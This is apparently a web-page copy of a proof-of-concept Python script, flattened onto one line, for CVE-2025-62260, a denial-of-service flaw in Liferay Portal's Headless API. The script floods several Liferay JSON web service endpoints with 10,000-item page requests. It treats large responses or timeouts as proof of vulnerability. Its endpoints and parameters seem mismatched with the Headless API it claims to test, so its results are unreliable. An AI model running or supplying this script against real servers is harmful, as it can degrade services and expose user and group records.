CVE-2025-62260 Liferay Portal Headless API拒绝服务漏洞

import requests import time # CVE-2025-62260 Liferay Headless API DoS PoC # Target: Liferay Portal/DXP with vulnerable Headless API TARGET_URL = "http://target.com/api/jsonws" CVE_ID = "CVE-2025-62260" def check_vulnerability(): """Check if target is vulnerable to CVE-2025-62260""" # Test endpoint with large page size test_endpoints = [ "/user/get-users", "/group/get-groups", "/layout/get-layouts" ] for endpoint in test_endpoints: try: # Attempt to request large number of objects params = { "pageSize": 10000, # Request large dataset "start": 0, "end": 10000 } response = requests.get( f"{TARGET_URL}{endpoint}", params=params, timeout=30 ) # Check if response contains large data set if response.status_code == 200: data_size = len(response.content) print(f"[+] Endpoint {endpoint} returned {data_size} bytes") if data_size > 1000000: # > 1MB suggests vulnerability print(f"[!] Potential vulnerability detected on {endpoint}") return True except requests.exceptions.Timeout: print(f"[!] Request timeout on {endpoint} - possible DoS condition") return True except Exception as e: print(f"[-] Error testing {endpoint}: {str(e)}") return False if __name__ == "__main__": print(f"[*] Testing {CVE_ID}") if check_vulnerability(): print("[!] Target is VULNERABLE") else: print("[*] Target may not be vulnerable")